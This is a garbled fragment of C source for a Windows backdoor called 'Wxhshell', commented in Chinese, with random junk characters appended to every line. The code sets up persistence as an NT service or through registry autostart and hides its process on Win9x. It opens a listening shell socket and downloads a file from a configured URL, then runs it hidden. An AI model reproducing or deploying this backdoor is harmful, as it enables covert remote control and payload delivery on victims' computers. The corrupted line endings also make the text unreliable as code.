DWORD PebBaseAddress; aPR0DZ@
DWORD AffinityMask; n@`D:;?{
DWORD BasePriority; UW!*=?h
ULONG UniqueProcessId; V_1'` F
ULONG InheritedFromUniqueProcessId; nnw5
!q_
} PROCESS_BASIC_INFORMATION; pwu8LQ3b{O
#$W bYL|
PROCNTQSIP NtQueryInformationProcess; -XbO[_Wf
*x0nAo_n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MQ~OG9.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n ]K`ofjl^
A2C|YmHk
HANDLE hProcess; D%WgE&wtM
PROCESS_BASIC_INFORMATION pbi; '4T]=s~N
QTy xx
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <'Ppu
if(NULL == hInst ) return 0; Zze(Ik
$qvk9 B0E
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F:3*i^ L
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @)R6!"p
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L`iC?<}
(toN??r
if (!NtQueryInformationProcess) return 0; 2r0u[
rM{3]v{~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eD#R4
if(!hProcess) return 0; W-72&\7
r+#! ]wNPe
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AV t(e6H
JQ[~N-
CloseHandle(hProcess); RD$"ft]Vc
kS\A_"bc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SK>*tKY
if(hProcess==NULL) return 0; {I]X-+D|_
!)nA4l=S#
HMODULE hMod; nMBKZ
char procName[255]; \Y?ByY
unsigned long cbNeeded; 5os(.
\nX5$[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I_h8)W
@~Uu]1
CloseHandle(hProcess); XAnN<
jRhOo%p
if(strstr(procName,"services")) return 1; // 以服务启动 O|Z5SSlk
fD1a)Az
return 0; // 注册表启动 ~boTh
} KA"D2j9wn
)S,Rx
// 主模块 ;I#f:UQ
int StartWxhshell(LPSTR lpCmdLine) }8zw| (GR,
{ ~.dmfA{
SOCKET wsl; t/3t69 \x
BOOL val=TRUE; tbNIl cAWS
int port=0; A<+veqb4
struct sockaddr_in door; U^xz>:~
GJ3@".+6
if(wscfg.ws_autoins) Install(); t3w:!'Ato
[Ju5O[o
port=atoi(lpCmdLine); `L. kyL
AwC"c '
if(port<=0) port=wscfg.ws_port; +TWk}#G
<6djdr1:b
WSADATA data; !n?8'eqWru
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AMm)E
6UXDIg=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "SV#e4C.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hl3%+f
door.sin_family = AF_INET; $U]KIHb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nKO4o8js{{
door.sin_port = htons(port); m"r=p
4$wn8!x2|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3G;#QK-c
closesocket(wsl); T=kR!Gx
return 1; "s!|8F6$
} k'(eQ5R3L
[|&V$
if(listen(wsl,2) == INVALID_SOCKET) { `L=d72:
closesocket(wsl); SdJGhU
return 1; Kz>Bw;R(
} C=sEgtEI
Wxhshell(wsl); >p[skN
WSACleanup(); &Se!AcvKF
^tFbg+.
return 0; ]m(C}}
eL` }j9
} A.%MrgOOX
,*r}23
// 以NT服务方式启动 xX5EhVR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _?YP0GpU
{ ~hk;OB;
DWORD status = 0; eBs4:R_i
DWORD specificError = 0xfffffff; V(^aG=TaW:
*2(W`m
serviceStatus.dwServiceType = SERVICE_WIN32; *\M$pUS{
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |RA|nu
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6zf3A:]&{
serviceStatus.dwWin32ExitCode = 0; 6HK
dBW$/
serviceStatus.dwServiceSpecificExitCode = 0; Jj:Bi&C
serviceStatus.dwCheckPoint = 0; 0?0$6F
serviceStatus.dwWaitHint = 0; _x&fK$Y)B
}nO[;2Na
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4uV,$/
if (hServiceStatusHandle==0) return; O7x'q<PFU
2`ED?F68gH
status = GetLastError(); A{QXzoWkg0
if (status!=NO_ERROR) I.qP$ j
{ [Up0<`Q{I_
serviceStatus.dwCurrentState = SERVICE_STOPPED; WbP
wO
serviceStatus.dwCheckPoint = 0; 5e|2b] f$
serviceStatus.dwWaitHint = 0; j0eGg::
serviceStatus.dwWin32ExitCode = status; v6$ }saTX
serviceStatus.dwServiceSpecificExitCode = specificError; d ~`_;.z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KVC$o+<'`%
return; DClV&\i=o
} r'GD
3SU:Xd(\o
serviceStatus.dwCurrentState = SERVICE_RUNNING; U&\2\z3{
serviceStatus.dwCheckPoint = 0; v)VhR2d3
serviceStatus.dwWaitHint = 0; }p <p(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ':[:12y[
} }z/Y
Hv%
/ >As9|%
// 处理NT服务事件,比如:启动、停止 fK'qc L
VOID WINAPI NTServiceHandler(DWORD fdwControl) -T 5$l
{ *a2y
switch(fdwControl)
F[65)"^
{ DOzJ-uww1
case SERVICE_CONTROL_STOP: Kr*s]O
serviceStatus.dwWin32ExitCode = 0; )iiwxpdw
serviceStatus.dwCurrentState = SERVICE_STOPPED; _&~y{;)S
serviceStatus.dwCheckPoint = 0; @NY$.K#]
serviceStatus.dwWaitHint = 0; GkutS.2G#
{ [)ybPIv]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); - A\J:2a|
} )t/[z3rn
return; YnCWmlC
case SERVICE_CONTROL_PAUSE: pKM5<1J
serviceStatus.dwCurrentState = SERVICE_PAUSED; g3i !>
break; R\oas"
case SERVICE_CONTROL_CONTINUE: aJ"Tt>Y[.~
serviceStatus.dwCurrentState = SERVICE_RUNNING; R^i8AbFW
break; 'aWzam>
case SERVICE_CONTROL_INTERROGATE: nvyyV\w
break; 4/rdr80
}; zg3q\~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [P*w$Hn
} bN#)F
(:p&[HNuN
// 标准应用程序主函数 /y\KLa
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pFu3FUO*;
{ kdWk{ZT^
CpAdE m{
// 获取操作系统版本 FDHa|<oz
OsIsNt=GetOsVer(); _a"\g9{%*
GetModuleFileName(NULL,ExeFile,MAX_PATH); XOM@Pi#z
Y^? J3[@
// 从命令行安装 tXocGM{6C
if(strpbrk(lpCmdLine,"iI")) Install(); _~M*XJ] `
%rz.>4i)(
// 下载执行文件 d.7pc
P
if(wscfg.ws_downexe) { S> f8j?n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kCRP?sj
WinExec(wscfg.ws_filenam,SW_HIDE); !J}Bv
} [hf#$Dl|
F:8cd^d~u
if(!OsIsNt) { r+BPz%wM=O
// 如果时win9x,隐藏进程并且设置为注册表启动 3
*o
l
HideProc(); x.7Ln9
StartWxhshell(lpCmdLine); :VPZGzK4
} H\f.a R=
else 0ih=<@1 K
if(StartFromService()) 89>U Koc?
// 以服务方式启动 zkdyfl5
StartServiceCtrlDispatcher(DispatchTable); r@3VN~
else 0R,?$qM\
// 普通方式启动 +jFcq:`#UG
StartWxhshell(lpCmdLine); A| #9
9L}=xX`>?
return 0; -E4e8'P;5
}